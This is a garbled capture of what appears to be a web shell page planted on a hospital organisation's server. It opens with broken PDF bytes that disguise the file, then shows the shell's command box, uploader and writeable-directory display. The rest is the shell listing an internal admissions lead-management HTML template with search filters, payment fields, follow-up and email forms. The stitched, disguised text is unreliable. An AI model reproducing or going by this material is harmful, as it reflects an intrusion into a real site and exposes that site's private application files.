%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/views/leads/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/views/leads/list - Copy.html
<form id="exfrm" style="display: none;"><input type="file" name="file" id="exfile" onchange="uploadSuatDetails()" /></form>
<form id="exfrm1" style="display: none;"><input type="file" name="file" id="exfile1" onchange="uploadFollowups()" /></form>

<div class="page-bar">
    <ul class="page-breadcrumb uc">
        <li><h2>{{cr.page_heading}}</h2></li>
    </ul>
    <div class="page-toolbar">
        <div class="form-inline">
            <a href="" class="btn green btn-outline" ng-click="cr.open_form()" ng-if="modules['lead_add']"><i class="fa fa-plus"></i> Add New</a>

            <label class="btn green-jungle" style="color: #fff;" for="exfile" ng-if="modules['upload_suat_details']" title="Excel Format: SYSTEM_ID | SUAT_STATUS | SLOT_BOOKING_DATE | SUAT_SCORE"><i class="fa fa-upload"></i> Upload Suat Details</label>
        </div>
    </div>
</div>
<!-- -->

<!-- Search Form -->
<form id="sform" class="form-lbl-grey ng-vis-hid">
    <input type="hidden" name="med_phd" value="{{cr.sdata.med_phd}}">
    <div class="mb10 row mingap">
        <div class="col-md-3">
            <input type="search" name="k" ng-model="cr.sdata.k" class="form-control" placeholder="Name, Email-ID, Mob, System-ID" />
        </div>
        <div class="col-md-4" ng-show="!cr.lead_restrict && !cr.step_filter_dis">
            <select class="form-control" id="sdd_steps" name="step_completed[]" multiple style="width:100%">
                <option value="1">Step 1</option>
                <option value="2">Step 2</option>
                <option value="3">Step 3</option>
                <option value="0">Step 0</option>
            </select>
        </div>
        <div class="col-md-3" ng-show="!cr.lead_restrict">
            <div class="row mingap el-hide">
                <div class="col-md-6">
                    <input type="text" name="fromDate" id="fromDate" class="form-control cal hasCal" placeholder="From Date" />
                </div>
                <div class="col-md-6">
                    <input type="text" name="toDate" id="toDate" class="form-control cal hasCal" placeholder="To Date" />
                </div>
            </div>

            <div class="btn-group" style="display: block">
                <div class="btn btn-default btn-block" id="lead_date_range">
                    <i class="icon-calendar"></i>&nbsp;<span></span>&nbsp;<i class="fa fa-angle-down"></i>
                </div>
            </div>
        </div>
        
        <div class="col-md-2">
            <button type="button" class="btn btn-info btn-block" ng-click="cr.lists()">Search</button>
        </div>
    </div>
    <div class="panel-group accordion" id="adv_filter_acco" ng-show="!cr.lead_restrict">
        <div class="panel panel-secondary">
            <div class="panel-heading">
                <h4 class="panel-title">
                    <a class="accordion-toggle accordion-toggle-styled collapsed" data-toggle="collapse" data-parent="#adv_filter_acco" href="#adv_filter_collapse1" aria-expanded="false" onclick="event.preventDefault()"> Advance Filter </a>
                </h4>
            </div>
            <div id="adv_filter_collapse1" class="panel-collapse collapse" aria-expanded="false" style="height: 0px;">
                <div class="panel-body">
                    <div class="form-group">
                        <div class="form-inline text-center1">
                            <label>Campus</label>
                            <select class="form-control" name="campus_id" ng-model="cr.sdata.campus_id">
                                <option value="">All</option>
                                <option value="{{r.id}}" ng-repeat="r in cr.campuses">{{r.title}}</option>
                            </select>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-md-4">
                            <div class="bold mb5">Campaign Filters</div>
                            <div class="form-group">
                                <label>Source Group</label>
                                <select class="form-control" name="utm_group" ng-model="cr.sdata.utm_group" ng-change="cr.set_empty_sdd_utm_source_id()">
                                    <option value="">Select</option>
                                    <option value="{{r.grp}}" ng-repeat="r in cr.s_utm_groups">{{r.grp}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Individual Sources</label>
                                <select class="form-control" id="sdd_utm_source_id" name="utm_source_id[]" ng-disabled="cr.sdata.utm_group" onchange="get_sdd_comp_med()" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_utm_sources">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Campaign Name</label>
                                <select class="form-control" id="sdd_utm_campaign" name="utm_campaign[]" multiple style="width:100%">
                                    <option value="{{v}}" ng-repeat="v in cr.s_utm_campaigns">{{v}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Campaign Medium</label>
                                <select class="form-control" id="sdd_utm_medium" name="utm_medium[]" multiple style="width:100%">
                                    <option value="{{v}}" ng-repeat="v in cr.s_utm_mediums">{{v}}</option>
                                </select>
                            </div>

                            <div class="bold mb5">PeopleSoft App Status</div>
                            <div class="form-group">
                                <label>Application Status</label>
                                <select class="form-control" id="ps_app_status" name="ps_app_status[]" multiple style="width:100%">
                                    <option value="{{v.DESCR1}}" ng-repeat="v in cr.ps_app_status_list">{{v.DESCR1}}</option>
                                </select>
                            </div>
                            <div class="">
                                <label>Admission Status</label>
                                <select class="form-control" id="ps_status" name="ps_status" style="width:100%">
                                    <option value="">Select</option>
                                    <option value="ADM_OFFERED">Offered</option>
                                    <option value="ADM_FINAL">Final</option>
                                </select>
                            </div>
                        </div>
    
                        <div class="col-md-4">
                            <div class="bold mb5">Lead Filters</div>
                            <div class="form-group">
                                <label>Landing Pages</label>
                                <select class="form-control" id="sdd_lpage_id" name="lpage_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_lpages">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Payment Status/Mode</label>
                                <select class="form-control" id="sdd_payments" name="payStatusMode">
                                    <option value="">Select</option>
                                    <option value="Paid">All Paid</option>
                                    <option value="OnlinePaid">Online Paid</option>
                                    <option value="PaidFromApp">Paid From App</option>
                                    <option value="CashPaid">Cash Paid</option>
                                    <option value="NotPaid">Not Paid</option>
                                    <option value="Step1Paid">Step1 Paid</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Disposition</label>
                                <select class="form-control" id="sdd_remarks" name="remarks_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.remarks">{{r.title}}</option>
                                </select>
                            </div>

                            <div class="bold mb5">Geo Location Filters</div>
                            <div class="form-group">
                                <label>States</label>
                                <select class="form-control" id="sdd_state_id" name="state_id[]" onchange="get_sdd_cities()" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_states">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Cities</label>
                                <select class="form-control" id="sdd_city_id" name="city_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_cities">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="">
                                <label>Dead Status</label>
                                <select class="form-control" name="isdead">
                                    <option value="">ALL</option>
                                    <option value="Y">Dead</option>
                                    <option value="N">Non Dead</option>
                                </select>
                            </div>
                        </div>
    
                        <div class="col-md-4">
                            <div class="bold mb5">Programs Filters</div>
                            <div class="form-group">
                                <label>Program Type</label>
                                <select class="form-control" name="type_id">
                                    <option value="">Select</option>
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_prog_types">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Academic Career</label>
                                <select class="form-control" id="sdd_ac_id" name="ac_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_acs">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Programs</label>
                                <select class="form-control" id="sdd_program_id" name="program_id[]" onchange="get_sdd_plans()" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_programs">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Plans/Specializations</label>
                                <select class="form-control" id="sdd_plan_id" name="plan_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_plans">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="form-group">
                                <label>Discipline</label>
                                <select class="form-control" id="sdd_discipline_id" name="discipline_id[]" multiple style="width:100%">
                                    <option value="{{r.id}}" ng-repeat="r in cr.s_disciplines">{{r.title}}</option>
                                </select>
                            </div>
                            <div class="bold mb5">Other</div>
                            <div class="row mingap">
                                <div class="col-md-6">
                                    <label>Amount Paid</label>
                                    <input type="number" class="form-control" name="paid_amt" />
                                </div>
                                <div class="col-md-6">
                                    <label>Suat Status</label>
                                    <select class="form-control" name="suat_status">
                                        <option value="">ALL</option>
                                        <option>Slot Booked</option>
                                        <option>Appeared</option>
                                        <option>Not Appeared</option>
                                        <option value="NULL">--No Status--</option>
                                    </select>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="panel-footer">
                    <button type="button" class="btn btn-sm btn-success" ng-click="cr.lists()">Apply Filter</button>
                </div>
            </div>
        </div>
    </div>
</form>
<!-- / -->

<div class="ng-vis-hid">
    <div ng-if="cr.result.length">
        <div class="text-secondary bold mb10">
            <div class="pull-left pdT5">
                Showing {{cr.page.start+1}} - {{cr.page.start+cr.page.total}} of {{cr.page.total_records}} records.
            </div>
            <a href="" class="btn btn-xs purple pull-right" ng-click="cr.exportLists()" ng-if="modules['lead_download']"><i class="fa fa-file-excel-o"></i> Export</a>
            
            <div class="clearfix"></div>
        </div>
        <div class="table-responsive">
            <table class="table table-bordered table-advance tablemd">
                <thead class="vmid uc">
                    <tr>
                        <th class="w20">SN</th>
                        <th>Name</th>
                        <th class="w150">City/State</th>
                        <th class="w250">Program</th>
                        <th class="w150">Payment Status</th>
                        <th style="width:100px">Date</th>
                        <th class="w85"></th>
                    </tr>
                </thead>

                <tbody class="vtop">
                    <tr ng-repeat-start="(i,r) in cr.result">
                        <td rowspan="2">{{i+cr.page.start+1}}.</td>
                        <td>
                            <div class="btmBdrPd5 mb5">
                                <div class="pdB5" ng-if="r.name!='<NO>'">{{r.name}}</div>
                                <div class="note-text pdB3" ng-if="r.email!='<NO>'">{{r.email}}</div>
                                <div class="font-green-meadow bold pdB3" ng-if="r.application_no!='<NO>' && r.step_completed!='0'">SU Edge ID : SUZ{{r.application_no}}</div>
                                <div class="note-text" ng-if="r.mob!='<NO>'"><i class="fa fa-mobile"></i> {{r.mob}}</div>
                                <div class="pdT5 pdB3 text-success" ng-if="r.ps_app_no">
                                    {{r.ps_app_no}} [{{r.ps_app_status}}]
                                </div>
                            </div>
                            <div class="btmBdrPd5 mb5">
                                <div class="note-text pdB5">
                                    <span class="inblock w90">Campus</span>: <strong>{{r.campus}}</strong>
                                </div>
                                <div class="note-text pdB5" ng-if="r.verified_by!='<NO>' && r.step_completed!='0'">
                                    <span class="inblock w90">Verified By</span>: <strong>{{r.verified_by}}</strong>
                                </div>
                                <div class="note-text pdB3" ng-if="r.process_by!='<NO>'">
                                    <span class="inblock w90">Process By</span>: <strong>{{r.process_by?r.process_by:'N/A'}}</strong>
                                </div>
                                <div class="note-text pdB3" ng-if="r.source!='<NO>'">
                                    <span class="inblock w90">Source</span>: <strong>{{r.lead_source?r.lead_source:'N/A'}}</strong>
                                </div>
                                <div class="note-text pdB3" ng-if="r.source!='<NO>'">
                                    <span class="inblock w90">Source Remarks</span>: <strong>{{r.lead_source_remarks?r.lead_source_remarks:'N/A'}}</strong>
                                </div>
                                
                                <div class="note-text pdB3" ng-if="r.utm_source!='<NO>'">
                                    <span class="inblock w90">Utm Source</span>: <strong>{{r.utm_source}}</strong>
                                </div>
                                <div class="note-text pdB3" ng-if="r.lpage!='<NO>'">
                                    <span class="inblock w90">Page</span>: <strong>{{r.lpage?r.lpage:'N/A'}}</strong>
                                </div>
                                <div class="note-text pdB3" ng-if="r.step_completed!='<NO>'">
                                    <span class="inblock w90">Step Completed</span>: <strong>{{r.step_completed}}</strong>
                                </div>

                                <div class="note-text pdB3">
                                    <span class="inblock w90">Suat Status</span>: <strong>{{r.suat_status || 'Slot Not Booked'}}</strong>
                                </div>
                                <div class="note-text pdB3">
                                    <span class="inblock w90">Slot B. Date</span>: <strong>{{r.slot_booking_date || 'N/A'}}</strong>
                                </div>
                                <div class="note-text pdB3">
                                    <span class="inblock w90">Suat Score</span>: <strong>{{r.suat_score || 'N/A'}}</strong>
                                </div>

                                <div class="note-text">
                                    <span class="inblock w90">Created By</span>: <strong>{{r.usr}}</strong>
                                </div>
                                <div class="note-text">
                                    <span class="inblock w90">Assigned To</span>: 
                                    <strong>{{r.assigned_to_usr?r.assigned_to_usr:'N/A'}} <i class="fa fa-check-circle text-success" ng-if="r.assigned_to_usr"></i></strong>
                                    <strong ng-if="r.resolved_by_usr">(Resolved by {{r.resolved_by_usr}} on {{r.resolved_on}})</strong>
                                </div>
                            </div>
                            <div class="note-text btmBdrPd5 pdB5" ng-if="r.txn_id!='<NO>'">TXN ID: <strong>{{r.txn_id}}</strong></div>

                            <div class="pdT10">
                                <a href="" class="pull-right uc btn btn-xs btn-primary" ng-click="cr.resolveLead(r)"style="margin-left:5px;" ng-if="r.resolve_allowed">
                                    <span ng-if="r.isresolved=='N'">Resolve</span>
                                    <span ng-if="r.isresolved=='Y'"><i class="fa fa-check-circle text-success"></i> Resolved</span>
                                </a>
                                <a href="" class="pull-right uc btn btn-xs red-pink" ng-click="cr.open_assign_form(r.id)"style="margin-left:5px;">Assign To</a>
                            </div>

                            <div class="pdT5 text-right" ng-if="r.followup_count_all>=3 || r.isdead=='Y'">
                                <div class="text-danger" ng-if="r.isdead=='Y'">This lead is <strong>DEAD</strong></div>
                                <div ng-if="r.isdead=='N'"><a href="" ng-click="cr.mark_as_dead(r)">Mark this lead as DEAD</a></div>
                            </div>
                        </td>

                        <td>
                            <div class="pdB5" ng-if="r.state!='<NO>'">
                                <div class="note-text">State:</div>
                                {{r.state}}
                            </div>
                            <div class="pdB5" ng-if="r.city!='<NO>'">
                                <div class="note-text">City:</div>
                                {{r.city?r.city:'N/A'}}
                            </div>
                            <div ng-if="r.pincode!='<NO>'">
                                <div class="note-text">Pincode:</div>
                                {{r.pincode?r.pincode:'N/A'}}
                            </div>
                        </td>
                        
                        <td>
                            <div ng-if="r.programDtl!='<NO>'">
                                <div class="btmBdrPd5 mb5">{{r.program}}</div>
                                <div class="note-text">Specialization:</div>
                                <div class="mb5">{{r.plan}}</div>
                                <div class="note-text">Academic Career:</div>
                                <div class="mb5">{{r.ac}}</div>
                                <div class="note-text">Type:</div>
                                <div class="mb5">{{r.program_type}}</div>
                            </div>
                        </td>

                        <td>
                            <div class="btmBdrPd5 mb5" ng-if="r.pay_order_id!='<NO>'">
                                <div>Order ID:</div>
                                <strong>{{r.pay_order_id}}</strong>
                            </div>

                            <div ng-if="r.payment_status!='<NO>'">
                                <div class="btmBdrPd5 mb5">
                                    <div>TXN Status:</div>
                                    <strong>{{r.txn_status}}</strong>
                                </div>
                                <div>Status: <strong class="{{r.payment_status?'text-success':'text-danger'}}">{{r.payment_status_text}}</strong> <span ng-if="r.payment_status">({{r.paid_amt}})</span></div>
                                <div ng-if="r.payment_mode!='<NO>'">Mode: <strong>{{r.payment_mode?r.payment_mode:'N/A'}}</strong></div>
                                <div class="font-xxs" ng-if="r.payment_status">@ {{r.payment_date}}</div>
                            </div>
                        </td>

                        <td class="nowrap">
                            <div class="font-xxs" ng-if="r.leadCreated!='<NO>'">
                                <span class="badge badge-success">1</span>
                                {{r.leadCreated}}
                            </div>
                            <div class="font-xxs" ng-if="r.step_completed!='0'">
                                <div class="pdT5" ng-if="r.step2date!='<NO>'">
                                    <span class="badge {{r.step_completed*1>=2?'badge-success':''}}">2</span>
                                    {{r.step2date}}
                                </div>
                                <div class="pdT5" ng-if="r.step3date!='<NO>'">
                                    <span class="badge {{r.step_completed*1>=3?'badge-success':''}}">3</span>
                                    {{r.step3date}}
                                </div>
                            </div>
                        </td>
                        
                        <td class="text-center">
                            <div class="btn-group btn-group-solid">
                                <button type="button" class="btn btn-xs default" ng-click="cr.edit(r)" ng-disabled="!modules['lead_edit'] || r.step_completed=='0'"><i class="fa fa-edit"></i></button>
                                <button type="button" class="btn btn-xs red" ng-click="cr.delete(r.id, r.step_completed)" ng-disabled="!modules['lead_delete']"><i class="fa fa-trash-o"></i></button>
                            </div>
                        </td>
                    </tr>

                    <tr ng-repeat-end ng-if="r.step_completed!='0'" style="box-shadow: 0px 2px 2px black;">
                        <td colspan="6" style="border-left:none; background: #fafafa;">
                            <button type="button" class="btn btn-xs btn-info" ng-click="cr.detail(r)">View Details</button>
                            <!-- <button type="button" class="btn btn-xs dark" ng-click="cr.open_follow_up(r)" ng-if="modules['add_lead_remarks']">
                                <i class="fa fa-check text-success" ng-if="r.followup_by!=0"></i> Follow-up
                            </button> -->
                            <button type="button" class="btn btn-xs dark" ng-click="cr.open_follow_up(r)" ng-if="modules['add_lead_remarks']">
                                <i class="fa fa-check text-success" ng-if="r.followup_by!=0"></i> Follow-up <span class="badge badge-warning">{{r.followup_count_all}}</span>
                            </button>
                            <button type="button" printurl="{{r.receiptPrintUrl}}" onclick="print_iframe(this)" class="btn btn-xs purple" ng-if="r.payment_status">
                                <i class="fa fa-print"></i> Receipt
                            </button>
                            <button type="button" ng-click="cr.open_remark_modal(r.id)" class="btn btn-xs green" ng-if="r.step_completed=='3'">
                                Admin Remark  <span class="badge badge-success" ng-if="r.admin_remark_count">{{r.admin_remark_count}}</span>
                            </button>
                            <button type="button" class="btn btn-xs red w100" ng-click="cr.open_issues_model(r.applicant_id,r.name,r.application_no)" ng-if="modules['manage_issues']">
                                Issues <span class="badge badge-danger" ng-if="r.iall"><span class="text-success">{{r.iclose}}</span>/{{r.iall}}</span>
                            </button>
                            <button type="button" class="btn btn-xs btn-warning w120" ng-click="cr.open_email_form(r.email, r.name)">
                                <i class="fa fa-envelope"></i> Send Email <span class="badge badge-warning" ng-if="r.email_count">{{r.email_count}}</span>
                            </button>
                            <a class="btn btn-xs btn-info" href="{{r.login_url}}" target="_blank" ng-if="modules['view_auto_login_url']">Auto Login</a>
                        </td>
                    </tr>
                </tbody>
            </table>
        </div>
        <div class="bold" ng-show="cr.page.total_pages>1">
            <div dir-paging fn="cr.lists" pageob="cr.page"></div>
        </div>
    </div>
    <div class="text-center text-default pd20" ng-if="!cr.result.length">No record found.</div>
</div>

<!-- Detail Modal -->
<div ng-include="'views/leads/lead_dtl.html?'+VERSION"></div>

<!-- Form Modal -->
<div ng-include="'views/leads/lead_form.html?'+VERSION"></div>

<!-- recCashModal -->
<div class="modal bs-modal-md in modal-scroll" id="recCashModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-md">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Receiving Cash</h4>
            </div>
            
            <div class="modal-body">
                <div class="table-responsive">
                    <table class="table table-condensed table-striped table-bordered table-advance table-hover">
                        <tbody class="vmid">
                            <tr>
                                <td class="w150 active">Application Fee</td>
                                <td>INR {{cr.appDtl.fee}}</td>
                            </tr>
                            <tr>
                                <td class="active">Select Offer</td>
                                <td>
                                    <select class="form-control" ng-model="cr.coupan_id" ng-change="cr.calcNetAmt(cr.coupan_id)">
                                        <option value="">Select</option>
                                        <option value="{{c.id}}" ng-repeat="c in cr.coupans">{{c.title}}</option>
                                    </select>
                                </td>
                            </tr>
                            <tr>
                                <td class="active">Net Amount</td>
                                <td>INR {{cr.appDtl.netAmt}}</td>
                            </tr>
                        </tbody>
                    </table>
                </div>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="cr.recordCash()">Record</button>
            </div>
        </div>
    </div>
</div>

<!-- Followup Modal -->
<div class="modal bs-modal-lg in modal-scroll" id="followupModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Follow-ups</h4>
            </div>
            
            <div class="modal-body">
                <div class="form-group">
                    <div class="pull-right">SU Edge ID : <strong>SUZ{{cr.rlead.application_no}}</strong></div>
                    Name: <strong>{{cr.rlead.name}}</strong>
                </div>
                <div ng-if="cr.followups.length">
                    <div class="table-responsive">
                        <table class="table tablesm table-striped table-bordered table-advance table-hover nomrgn">
                            <thead>
                                <tr class="uc">
                                    <th class="w20">SN</th>
                                    <th>Remarks/Feedback</th>
                                    <th class="w200">Given By</th>
                                    <th class="w85" ng-if="isAdmin"></th>
                                </tr>
                            </thead>
                            <tbody>
                                <tr ng-repeat="(i,r) in cr.followups">
                                    <td>{{i+1}}.</td>
                                    <td>
                                        <div class="bold">{{r.remarks}}</div>
                                        <div class="mb5">[{{r.subremarks}}]</div>
                                        <div>{{r.feedback}}</div>
                                    </td>
                                    <td>
                                        {{r.usr}}
                                        <div class="pdT5">
                                            [@{{r.created}}]
                                        </div>
                                        <div class="pdT5" ng-if="r.comm_mode">
                                            Via: {{r.comm_mode}}
                                        </div>
                                    </td>
                                    <td class="text-center" ng-if="isAdmin">
                                        <div class="btn-group btn-group-solid">
                                            <a href="" class="btn btn-xs default" ng-click="cr.follow_up_detail(r.id)"><i class="fa fa-edit"></i></a>
                                            <a href="" class="btn btn-xs red"  ng-click="cr.delete_follow_up(r.id)" ><i class="fa fa-trash"></i></a>
                                        </div>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>
                <div ng-if="!cr.followups.length">No remarks/feedback found</div>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="cr.open_remarks_form()"><i class="fa fa-plus"></i> Add New Remarks/Feedback</button>
            </div>
        </div>
    </div>
</div>

<!-- Remarks Modal -->
<div class="modal bs-modal-md in modal-scroll" id="remarksModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-md">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">{{cr.rData.id?'Update':'Give'}} remarks/feedback</h4>
            </div>
            
            <div class="modal-body">
                <form id="fdbackfrm" autocomplete="off" spellcheck="false">
                    <input type="hidden" name="id" value="{{ cr.rData.id }}" />
                    <input type="hidden" name="application_id" value="{{cr.rData.application_id}}" />
                    <div class="form-group">
                        <div class="pull-right">SU Edge ID : <strong>SUZ{{cr.rlead.application_no}}</strong></div>
                        Name: <strong>{{cr.rlead.name}}</strong>
                    </div>
                    <div class="form-group">
                        <label class="req">Disposition Category</label>
                        <select class="form-control" ng-model="cr.rData.cat_id" ng-change="cr.rData.remarks_id=''; cr.rData.subremarks=''; cr.subremarks=[]">
                            <option value="">Select</option>
                            <option value="{{r.id}}" ng-repeat="r in cr.remarks_cats">{{r.title}}</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label class="req">Disposition</label>
                        <select class="form-control" name="remarks_id" ng-model="cr.rData.remarks_id" ng-change="cr.getSubremarks(cr.rData.remarks_id)">
                            <option value="">Select</option>
                            <option value="{{r.id}}" ng-repeat="r in cr.remarks" ng-if="r.cat_id==cr.rData.cat_id">{{r.title}}</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label class="req">Remarks</label>
                        <select class="form-control" name="subremarks" ng-model="cr.rData.subremarks">
                            <option value="">Select</option>
                            <option value="{{r.title}}" ng-repeat="r in cr.subremarks track by $index">{{r.title}}</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label class="req">Comment</label>
                        <textarea class="form-control" rows="6" name="feedback" ng-model="cr.rData.feedback"></textarea>
                    </div>
                    <div>
                        <label class="req">Communication Mode</label>
                        <select class="form-control" name="comm_mode" ng-model="cr.rData.comm_mode">
                            <option value="">Select</option>
                            <option ng-repeat="r in cr.comm_modes track by $index">{{r}}</option>
                        </select>
                    </div>
                </form>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                <button type="button" class="btn green" ng-click="cr.addRemark()">Save</button>
            </div>
        </div>
    </div>
</div>

<!-- Admin Reviews -->
<div class="modal bs-modal-md in modal-scroll" id="adminRemarkModal" tabindex="-1" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Admin Remarks</h4>
            </div>
            
            <div class="modal-body">
                <form id="fdbackfrm" autocomplete="off" spellcheck="false">
                    <input type="hidden" name="id" value="" />
                    <input type="hidden" name="application_id" value="{{cr.adminRremarkData.application_id}}" />
                    <div class="row">
                        <div class="col-md-11">
                                <div>Remark: </div>
                                <input type="text" class="form-control" name="remarks" ng-model="cr.adminRremarkData.remarks">
                        </div>
                        <div class="col-md-1">
                            <button type="button" ng-click="cr.addAdminRemark()" class="btn btn-info mt20 btn-block" title="Add"><i class="fa fa-plus"></i></button>
                        </div>
                    </div>
                </form>

                <div class="table-responsive mt20">
                    <table class="table tablesm table-striped table-bordered table-advance table-hover nomrgn">
                        <thead>
                            <tr class="uc">
                                <th class="w20">SN</th>
                                <th>Remarks/Feedback</th>
                                <th class="w200">Given By</th>
                                <th class="w85"></th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr ng-repeat="(i,r) in cr.admin_reviews">
                                <td>{{i+1}}.</td>
                                <td>
                                    {{r.remarks}}
                                </td>
                                <td>
                                    {{r.usr}}
                                    <div class="pdT5">
                                        [@{{r.created}}]
                                    </div>
                                </td>
                                <td class="text-center">
                                    <div class="btn-group btn-group-solid">
                                        <a href="" class="btn btn-xs red" ng-if="cr.USER_ID == r.created_by" ng-click="cr.delete_admin_remark(r.id, r.application_id)" ><i class="fa fa-trash"></i></a>
                                    </div>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>

            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

<!-- Email -->
<div class="modal bs-modal-lg in modal-scroll" id="emailModal" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-full">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true" ng-click="cr.close_email_form()"></button>
                <h4 class="modal-title">Send Email</h4>
            </div>
            
            <div class="modal-body">
                <div class="table-responsive">
                    <table class="table table-bordered table-advance table-condensed no-margin">
                        <thead>
                            <tr class="uc">
                                <th style="width: 50%;">Sent Emails</th>
                                <th>Send New Email</th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr>
                                <td>
                                    <div class="table-responsive" ng-if="cr.sent_email.length">
                                        <table class="table table-bordered table-advance tablesm no-margin">
                                            <thead>
                                                <tr class="uc">
                                                    <th class="w20">SN</th>
                                                    <th>Subject/Body</th>
                                                    <th class="w150"></th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <tr ng-repeat="(i,r) in cr.sent_email">
                                                    <td>{{i+1}}.</td>
                                                    <td>
                                                        <div class="bold">{{r.subject}}</div>
                                                        <div class="pdT5">
                                                            <div class="emailbodyleadspage" ng-bind-html="renderHtml(r.body)"></div>
                                                            <div class="pdT5" ng-if="r.attachment_urls.length">
                                                                <a ng-repeat="(k,a) in r.attachment_urls" href="{{a}}" download="attachment" target="_self" class="inblock m3 text-danger"><i class="fa fa-paperclip"></i> Attachment{{k+1}}</a>
                                                            </div>
                                                        </div>
                                                    </td>
                                                    <td>
                                                        By {{r.usr}} [{{r.usr_type}}]
                                                        <div class="pt3 note-text">@{{r.created}}</div>
                                                    </td>
                                                </tr>
                                            </tbody>
                                        </table>
                                    </div>
                                    <div class="text-center pd10 text-default" ng-if="!cr.sent_email.length">No record found.</div>
                                </td>

                                <td>
                                    <form id="email_frm">
                                        <input type="hidden" name="to_email" value="{{cr.to_email}}">
                                        <input type="hidden" name="to_name" value="{{cr.to_name}}">
                                        <div class="form-group">
                                            <label class="req">Email To</label>
                                            <input type="text" class="form-control" value="{{cr.to_name}} <{{cr.to_email}}>" disabled>
                                        </div>
                                        <div class="form-group">
                                            <label class="">CC</label>
                                            <input type="text" class="form-control" name="cc" value="{{cr.cc_emails}}">
                                        </div>
                                        <div class="form-group">
                                            <label class="req">Subject</label>
                                            <input type="text" class="form-control" name="subject">
                                        </div>
                                        <div class="form-group">
                                            <label class="req">Body</label>
                                            <textarea class="form-control" rows="4" id="email_body" name="body"></textarea>
                                        </div>
                                        <div class="form-group" ng-repeat="(ac, a) in cr.attachc track by $index">
                                            <div class="row mingap">
                                                <div class="col-md-10">
                                                    <label>Attachment {{ac+1}}</label>
                                                    <input type="file" name="file[]" class="form-control" onchange="check_file(this)">
                                                </div>
                                                <div class="col-md-2">
                                                    <label>&nbsp;</label>
                                                    <div>
                                                        <button type="button" class="btn red" ng-click="cr.attachc.splice(ac, 1)" ng-disabled="ac===0"><i class="fa fa-trash"></i></button>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div>
                                            <button type="button" class="btn btn-sm purple" ng-click="cr.attachc.push(1)"><i class="fa fa-plus"></i></button>
                                        </div>
